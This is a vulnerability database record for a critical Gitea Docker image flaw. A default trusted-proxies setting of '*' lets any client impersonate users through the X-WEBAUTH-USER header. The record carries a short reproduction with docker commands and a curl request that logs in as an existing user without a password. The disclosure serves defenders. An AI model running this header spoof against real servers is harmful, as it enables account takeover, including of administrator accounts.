{"id":"CVE-2026-20896","aliases":["CVE-2026-20896","GHSA-f75j-4cw6-rmx4","GO-2026-6051"],"related":[],"kind":"vulnerability","state":"published","title":"Gitea Docker image trusts spoofable reverse-proxy headers by default","summary":"Gitea Docker image versions up to and including 1.26.2 use REVERSE_PROXY_TRUSTED_PROXIES=* by default, allowing any source IP to impersonate a user when reverse-proxy authentication headers such as X-WEBAUTH-USER are enabled.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Gitea Docker image versions up to and including 1.26.2 use REVERSE_PROXY_TRUSTED_PROXIES=* by default, allowing any source IP to impersonate a user when reverse-proxy authentication headers such as X-WEBAUTH-USER are enabled.","source":"cvelist"},{"lang":"en","text":"# Summary\n\nThe Gitea Docker images ship an `app.ini` template that hard-codes:\n\n```\nREVERSE_PROXY_TRUSTED_PROXIES = *\n```\n\nThe documented default for this setting, in `custom/conf/app.example.ini`, is `127.0.0.0/8,::1/128`, i.e. only loopback is trusted.\n\nWhen an admin enables `ENABLE_REVERSE_PROXY_AUTHENTICATION = true` to put Gitea behind an authenticating reverse proxy and leaves the trusted-proxies setting at \"the default\", they expect only the proxy's loopback connection to inject identity. The Docker image instead trusts `X-WEBAUTH-USER` from **any source IP** that can reach the container.\n\n## Affected\n\n- `gitea/gitea` Docker images (verified `1.26.2`)\n- `docker/root/etc/templates/app.ini:55`\n- `docker/rootless/etc/templates/app.ini:52`\n\nBinary distribution and self-built deployments that follow `app.example.ini` get the loopback-only default and are not affected.\n\n## Reproduction\n\n```\ndocker run -d --name g -p 3000:3000 \\\n  -e GITEA__service__ENABLE_REVERSE_PROXY_AUTHENTICATION=true \\\n  -e GITEA__security__INSTALL_LOCK=true \\\n  gitea/gitea:1.26.2\n\nsleep 15\ndocker exec --user git g gitea admin user create \\\n  --username alice --password \"longpasswordhere1234\" \\\n  --email alice@x.test --must-change-password=false\n\nNow the attack::\n\n\ncurl -s -L -H \"X-WEBAUTH-USER: alice\" http://localhost:3000/ \\\n  | grep -oE '<title>[^<]+</title>'\n```\n\nOutput: `<title>alice - Dashboard - Gitea: Git with a cup of tea</title>` — attacker is logged in as alice with one header, no password, no cookie.\n\nSame payload with `X-WEBAUTH-USER: <any_existing_username>` impersonates that user.\n\n## Impact\n\nAny process that can reach the Gitea container's HTTP port directly — not through the intended authenticating proxy — can impersonate any user whose login name is known or guessable. Admin accounts (`admin`, `gitea_admin`, etc.) are the obvious targets.","format":"markdown","source":"ghsa"},{"lang":"en","text":"Gitea Docker image: `REVERSE_PROXY_TRUSTED_PROXIES = *` default lets any source IP impersonate any user via `X-WEBAUTH-USER` in code.gitea.io/gitea","format":"markdown","source":"go"},{"lang":"es","text":"Las versiones de la imagen Docker de Gitea hasta e incluyendo la 1.26.2 usan REVERSE_PROXY_TRUSTED_PROXIES=* por defecto, permitiendo que cualquier IP de origen suplante la identidad de un usuario cuando los encabezados de autenticación de proxy inverso como X-WEBAUTH-USER están habilitados.","source":"nvd"}],"published":"2026-07-03T20:19:29.588Z","modified":"2026-10-25T15:10:00.147Z","severity":{"scorer":"Gitea","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},"severities":[{"scorer":"Gitea","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"}],"cwes":["CWE-284"],"affected":[{"ranges":[{"type":"semver","introduced":"0","lastAffected":"1.26.2","status":"affected"}],"vendor":"Gitea","product":"Gitea Open Source Git Server","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"1.26.3"}],"ecosystem":"Go","package":"code.gitea.io/gitea","purl":"pkg:golang/code.gitea.io/gitea","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"1.26.3"}],"ecosystem":"Go","package":"code.gitea.io/gitea","purl":"pkg:golang/code.gitea.io/gitea","source":"go"}],"references":[{"url":"https://github.com/go-gitea/gitea/security/advisories/GHSA-f75j-4cw6-rmx4","tags":["advisory","exploit","vendor-advisory","web"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/go-gitea/gitea/pull/38151","tags":["patch","web"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/go-gitea/gitea/releases/tag/v1.26.3","tags":["release-notes","web"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://blog.gitea.com/release-of-1.26.3-and-1.26.4/","tags":["release-notes"],"sources":["cvelist","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-20896","tags":["advisory"],"sources":["ghsa","go"]},{"url":"https://github.com/go-gitea/gitea/commit/99f8b3d9a1d32f4c39828e07971455a18191e0b9","tags":["web"],"sources":["ghsa","go"]},{"url":"https://blog.gitea.com/release-of-1.26.3-and-1.26.4","tags":["web"],"sources":["ghsa","go"]},{"url":"https://github.com/go-gitea/gitea","tags":["package"],"sources":["ghsa"]}],"credits":["Joshua Martinelle (Tenable)","rz1027"],"assigner":"Gitea","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"total","date":"2026-07-06T19:03:07.590Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-20896","url":"https://www.cve.org/CVERecord?id=CVE-2026-20896","licence":"CVE Terms of Use","modified":"2026-07-07T17:00:46.549Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-f75j-4cw6-rmx4","url":"https://github.com/advisories/GHSA-f75j-4cw6-rmx4","licence":"CC-BY-4.0","modified":"2026-07-22T21:11:39.289Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-6051","url":"https://pkg.go.dev/vuln/GO-2026-6051","licence":"CC-BY-4.0","modified":"2026-07-22T21:00:28.336Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-20896","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-20896","licence":"Public domain","modified":"2026-10-25T15:10:00.147Z"}],"updatedAt":"2026-11-25T22:59:27.106Z","epss":{"score":0.69624,"percentile":0.99375,"date":"2026-12-01T12:00:22.000Z"}}